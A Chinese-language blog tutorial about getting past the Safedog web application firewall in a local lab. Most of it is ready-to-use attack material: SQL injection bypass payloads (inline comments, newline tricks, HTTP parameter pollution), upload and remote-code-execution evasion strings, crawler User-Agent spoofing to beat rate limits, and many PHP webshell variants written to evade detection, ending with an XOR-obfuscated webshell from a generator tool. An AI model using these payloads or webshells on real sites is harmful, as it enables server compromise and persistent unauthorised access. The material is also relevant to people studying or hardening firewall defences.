安全狗waf

这篇具有很好参考价值的文章主要介绍了安全狗waf。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

安全狗waf安装

1、先将phpstudy 以管理员身份运行,将运行模式修改为 “系统服务”,点击“应用”。

安全狗waf,笔记

2、下载安全狗,安全狗-领先云安全服务与解决方案提供商|云原生安全|服务器安全|网站安全|态势感知

安全狗waf,笔记

 

3、安装安全狗,以管理员身份运行

安全狗waf,笔记

需要登录使用:

安全狗waf,笔记

信息收集的WAF绕过

主要方法:

  • 更改请求方式
  • 模拟用户
  • 延时
  • 爬虫引擎
  • 代理池
  • ...

相关案例

1、安全狗默认配置(未开启CC防护)

安全狗waf,笔记

通过7kscan工具进行目录扫描,全部状态码为200。

安全狗waf,笔记

在防护日志中显示“不允许的HTTP请求”,拦截原因:进行了不允许的HTTP请求(HEAD请求)。

因为默认的目录扫描的HTTP请求方法是HEAD(响应快),而安全狗拦截此HEAD请求。

安全狗waf,笔记

绕过方式为修改HTTP请求方法为GET。

安全狗waf,笔记

2、安全狗开启CC防护

安全狗waf,笔记

此时使用7kscan工具进行目录扫描,全部状态码为200。

安全狗waf,笔记

使用相同IP的主机浏览器访问,会出现“您的请求过于频繁,已被网站管理员设置拦截!”,因为扫描过快,出发了CC防护机制。

安全狗waf,笔记

安全狗防护日志处会产生“CC攻击”日志。

安全狗waf,笔记

此时的绕过方式是延迟、爬虫引擎、代理池。

延迟方式:
  • 勾选“延迟扫描”
  • 或加大访问间隔

安全狗waf,笔记

爬虫引擎:
  • 将User-Agent头替换为爬虫引擎使用的User-Agent,比如百度的爬虫引擎UA

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

安全狗waf,笔记

漏洞利用的WAF绕过

sql注入绕过

安全和客户体验是需要平衡的,特别针对于WAF而言。如果用了WAF之后,网页动不动就被拦截,比如我是用户,用户名是and,然后我就被拦截了;或者我不小心输入了一个'引号就出问题,用户体验不好。

WAF一般都是通用的,并不是单独定制的,也就是说在拦截上会比较谨慎,所以WAF的拦截规则对应的正则一般是搭配式的,比如 and 1=1会被拦截,但是单独的and和单独的1=1不会被拦截。

安全狗waf,笔记

安全狗waf,笔记

安全狗waf,笔记

大小写绕过(很老的WAF有用)

替换绕过(很老的WAF有用)

内联注释绕过

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别执行。

/!/如果被拦截,可以尝试添加版本号。

比如:/!50001/表示数据库版本>=5.00.01时中间的语句才能被执行。

注意:版本号必须是5位数字,具体使用哪个版本号可以通过burpSuite的Intruder的模块进行爆破

安全狗waf,笔记

正常注入会被安全狗拦截:

安全狗waf,笔记

使用内联注释进行绕过:

安全狗waf,笔记

特殊字符绕过

换行符%0a

注释/**/中的内容不会被安全狗拦截。

结合特殊字符 %0a(换行符)进行绕过。

比如:

http://127.0.0.1/sqli-labs/Less-1/

?id=1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/

参数值1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/ 对于安全狗来说,/**/中的内容不会拦截,所以可以原样到达web服务器apache。

因为%0a是换行,%23是#号,所以1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/会被认为是

1' *-- qqq /**

and 1=2 union select 1,2,3 *#*/*

-- qqq /*#*/均会被注释掉,所以最终拼接如sql语句中的为

1' and 1=2 union select 1,2,3

反撇号**````**

有些函数加上反撇号可以绕过

1'  and `sleep`(5) -- qqq

容器特性绕过

iis中的%

对于s%e%l%ect会被iis认为是select

apache中的HPP

HTTP参数污染(HPP)

对于传参id=1&id=2,最终接收的参数为id=2

比如:

http://127.0.0.1/sqli-labs/Less-1/

?id=1'/*&id=2' and 1=2 union select 1,2,3 %23*/

首先安全狗不会过滤/**/中的内容,当参数发送到apache后,会将第二个参数2' and 1=2 union select 1,2,3拼接到sql语句中进行执行。

注意不要使用##可能会被拦截,建议替换成%23,或者使用--

安全狗waf,笔记

WAF性能因素绕过

检测长度绕过

WAF对检测数据包的包长或检测数据流长度,有一个限制。

  • 比如在真正的参数前面添加大量的%00进行填充。
  • 安全狗默认没有开启POST中的and or拦截,开启测试。

安全狗waf,笔记

少量就会有拦截:

安全狗waf,笔记

文件上传绕过

多filename绕过

filename="webshell.php";之前多加一些正常的filename,比如filename="webshell.jpg";

Content-Disposition: form-data; name="uploaded"; filename="webshell.jpg";filename="webshell.jpg";....此处省略上百个...filename="webshell.php";Content-Type: image/jpeg

如下图:

安全狗waf,笔记

RCE绕过

如果waf拦截了phpinfo();等类型的一些敏感字符串等,比如安全狗自定义检测规则(自己添加):

安全狗waf,笔记

其他场景类似。

拿pikachu测试,先将安全狗的文件防护关闭,否则会访问不到rce的漏洞文件。

安全狗waf,笔记

变量拼接

txt=$a="p";$b="hpinfo";$c=$a.$b;$c();

txt=$a="p";$b="hpinfo";$c=$a.$b;$c();&submit=%E6%8F%90%E4%BA%A4

安全狗waf,笔记

编码加密传输

安全狗waf,笔记

txt=assert(base64_decode('cGhwaW5mbygpOw=='));

安全狗waf,笔记

如果base64_decode函数被过滤,可以尝试别的编码函数,比如转换为十六进制:

txt=eval(pack("H*",'706870696E666F28293B'));

安全狗waf,笔记

字符替换

txt=assert(str_replace('x','','phxpinxfo()'));

安全狗waf,笔记

如果此时assert也被过滤了呢?可以使用别的函数,也可以结合变量拼接:

txt=$a='ass';$b='ert';$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));

传参方式

http://192.168.10.155/pikachu/vul/rce/rce_eval.php?x=ert

txt=$a='ass';$b=$_GET['x'];$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));

安全狗waf,笔记

漏洞利用的WAF绕过

webshell代码层绕过

  • 方法:变量覆盖、加密混淆、异或生成

环境:安全狗v4.0,防护等级中级

webshell.php文件

<?php @eval($_REQUEST['a']);?>

访问直接被拦截

安全狗waf,笔记

安全狗扫描也会发现网页木马风险。

安全狗waf,笔记

直接使用一句话木马原型会被拦截。

需要进行绕过bypass。

通过删除一句话木马不同的字符,测试安全狗过滤的内容,发现当出现eval($_REQUEST[])时会被拦截过滤。

bypass思路:

  • 替换eval()
  • 替换$_REQUEST[]
  • 让eval()和$_REQUEST[]不同时出现

end()函数绕过

end()函数:输出数组中最后一个元素的值。

$_REQUEST是一个包含前端传过来的参数数组。

<?php eval(end($_REQUEST));?>

安全狗waf,笔记

常量定义绕过

define() 函数定义一个常量。

<?php define("b","$_REQUEST['a']");eval(b);?>

字符串拼接+双美元符号绕过

<?php 

  $a='ass';   

  $b='ert';

  $funcName=$a.$b;

  $x='funcName';

  $$x($_REQUEST['a']);  // $funcName($_REQUEST[a]) ==> assert($_REQUEST[a])?>

安全狗waf,笔记

注意此时,不能拼接eval,因为eval()不是函数!否则会出现报错~ Call to undefined function eval()

安全狗waf,笔记

函数定义强行分割绕过

<?php 

  function abc($b){

    return $b

  };

  $a = abc($_REQUEST['a']);

  eval($a);?>

经测试,此方法被过滤,提示“内藏自定义函数”

安全狗waf,笔记

类定义强行分割绕过

<?php 

  class User{

    public $name='';

    function __destruct(){

      // 在对象被销毁时会被执行

      eval("$this->name");

    }

  };

  $user = new User;

  $user->name = $_REQUEST['a'];?>

cookie传参绕过

<?php 

  $cookie = $_COOKIE;  // 获取cookie的数组

  foreach($cookie as $key => $value){

    if($key=='assert'){

      $key($_REQUEST['a']);

    }

  }?>

需要提前在本地浏览器存入key为assert的cookie。

安全狗waf,笔记

读取预定义函数绕过

<?php 

  $a = get_defined_functions();

  $a['internal'][841]($_REQUEST['a']);?>

原理分析:get_defined_functions()可以获取所有定义的函数,通过$a['internal'][841]可以拿到assert。

<?php 

  $a = get_defined_functions();

  var_dump($a); // $a为一个二维数组,其中‘internal’对应了所有php预定义的函数名?>

自搭建数据库读取代码绕过

<?php 

  eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['muma']);?>

如果不行,可以添加换行~

<?php 

  eval(

    mysqli_fetch_assoc(

      mysqli_query(

        mysqli_connect('127.0.0.1','root','root','test'),

        'select * from info'

      )

    )['muma']

  );?>

编码加密传输绕过

webshell.php文件:

<?

// @eval(base64_decode(end($_REQUEST)));$a="base64_";$b="decode";$c=$a.$b;

@eval($c(end($_REQUEST)));

?>

传递的值使用base64加密,在webshell.php处进行解密。

  • 可以绕过waf对某些值的拦截,比如phpinfo()。

安全狗waf,笔记

使用蚁剑自带编码加密绕过(注意蚁剑发送的数据包自带解码,所以上传的webshell不需要base64_decode)

安全狗waf,笔记

加密混淆

php加密网站

  • 会员注册|php源码加密|www.PhpJiaMi.com

将webshell进行加密,再上传至目标主机。

安全狗waf,笔记

加密过后的内容:

安全狗waf,笔记

连接加密过后的webshell时和连接源文件的方式一致。

安全狗waf,笔记

异或生成

github地址:

  • https://github.com/emh1tg/webshell-venom
  • https://github.com/search?q=webshell-venom&type=repositories

目前网上能下载到的版本是3.0版,最新版4.x需要加入作者“知识星球”获取:webshell-venom 3.3 :利用随机异或免杀任意php文件 -

利用脚本生成的php免杀webshell(每次生成都不同)

<?php class  FHNK{ function __destruct(){$nby='J'^"\x2b";$uzj='?'^"\x4c";$yfh='>'^"\x4d";$xne='B'^"\x27";$jbp='R'^"\x20";$ufj='/'^"\x5b";$INLG=$nby.$uzj.$yfh.$xne.$jbp.$ufj;return @$INLG($this->TM);}}$fhnk=new FHNK();

@$fhnk->TM=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>

使用该webshell:

安全狗waf,笔记文章来源地址https://www.toymoban.com/news/detail-764198.html

到了这里,关于安全狗waf的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 24 WEB漏洞-文件上传之WAF绕过及安全修复_阿里云盾waf绕过怎么修复

    目录 WAF绕过 上传参数名解析:明确哪些东西能修改? 常见绕过方法: `符号变异-防匹配(’ \\\" ;)` 数据截断-防匹配(%00 ; 换行) 重复数据-防匹配(参数多次) 搜索引擎搜索fuzz web字典 文件上传安全修复方案 WAF绕过 safedog BT(宝塔) XXX云盾 宝塔过滤的比安全狗厉害一些,在真实情况下现

    2024年02月20日
    浏览(48)
  • WAF/Web应用安全(拦截恶意非法请求)

    Web 应用防火墙(Web Application Firewall, WAF)通过对 HTTP(S) 请求进行检测,识别并阻断 SQL 注入、跨站脚本攻击、跨站请求伪造等攻击,保护 Web 服务安全稳定。 Web 安全是所有互联网应用必须具备的功能,没有安全防护的应用犹如怀揣珠宝的儿童独自行走在盗贼环伺的黑夜里。

    2024年02月11日
    浏览(37)
  • OpenResty学习笔记03:再探WAF

      我们上一篇安装的WAF来自另一位技术大神 赵舜东 ,花名 赵班长 ,一直从事自动化运维方面的架构设计工作。阿里云MVP、华为云MVP、中国SaltStack用户组发起人 、新运维社区发起人。 虽然并非安全专业出身,但根据他的自述,边学边写,只用了几天的时间就将WAF写出来了,

    2024年02月03日
    浏览(36)
  • WEB服务器的超级防护——安全WAF

          随着网络和信息技术的不断发展,特别是互联网的广泛普及和应用,网络正在逐步改变人类的生活和工作方式。越来越多的政府和企业组织建立了依赖于网络的业务信息系统,例如电子政务、网络办公等。网络也对社会各行各业产生了巨大的影响,使信息安全的重要性

    2024年02月20日
    浏览(42)
  • xss跨站之waf绕过及安全修复(28)

    手工探针xss绕过waf规则 打开靶场  写入跨站测试语句发现拦截  这里就做一个最经典的方法,做一个拆分来确立拦截的是什么东西。 去掉最后字符串,访问还是拦截,再去掉alert(1),访问还是拦截,再去掉尖括号里面一个字符。留下scrtp在访问一下,还是拦截了,拿

    2024年02月13日
    浏览(47)
  • 部署WAF安全应用防火墙(openresty部署)

    1.1 什么是WAF Web应用防护系统 (也称:网站应用级入侵防御系统 。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法: Web应用 防火墙 是通过执行一系列针对HTTP/HTTPS的 安全策略 来专门为Web应用提供保护的一款产品 。 1.2 WAF的功能 支持IP白名单和黑名单功能,

    2024年02月05日
    浏览(41)
  • WAF相关知识及安全狗的部署和绕过

    1) 流量识别 2) 攻击检测 3) 攻击防御 4) 记录日志 1) 手动检测 2) 工具检测 一:WAF基础知识 (一)WAF简介 WAF即Web应用程序防火墙通过过滤和监视Web应用程序与Internet之间的HTTP通信来帮助保护Web应用程序,Web Application Firewall (WEB 应用防护系统)。WAF与传统的 Firewall (防火

    2024年02月16日
    浏览(38)
  • 24 WEB漏洞-文件上传之WAF绕过及安全修复

    safedog BT(宝塔) XXX云盾 宝塔过滤的比安全狗厉害一些,在真实情况下现在很多网站都是用宝塔 Content-Disposition: 表单数据,一般可更改 name:表单参数值,不能更改,改完之后,数据包是有问题的,跟前端的表单值会对不上,这样后端会无法判断你上传的地方,如果要更改,那

    2024年02月10日
    浏览(50)
  • 【WAF剖析】——SQL注入之安全狗bypass深度剖析

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心: 舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭: 不要让时代的悲哀成为你的悲哀 专研方向: 网络安全,数据结构 每日emo: 保持

    2024年02月03日
    浏览(37)
  • 从SQL注入绕过最新安全狗WAF中学习fuzz

    SQL注入并不是很精通,通过实战绕过WAF来进行加强SQL注入能力,希望对正在学习的师傅能有一丝帮助。 我是本地搭建的环境进行测试的 环境是 windows11+phpstudy2018+sqli-labs phpstudy的安装我不再复述,这里简单说一下安全狗插件和安全狗的安装。 在安装安全狗之前,一定要先做好

    2024年02月14日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包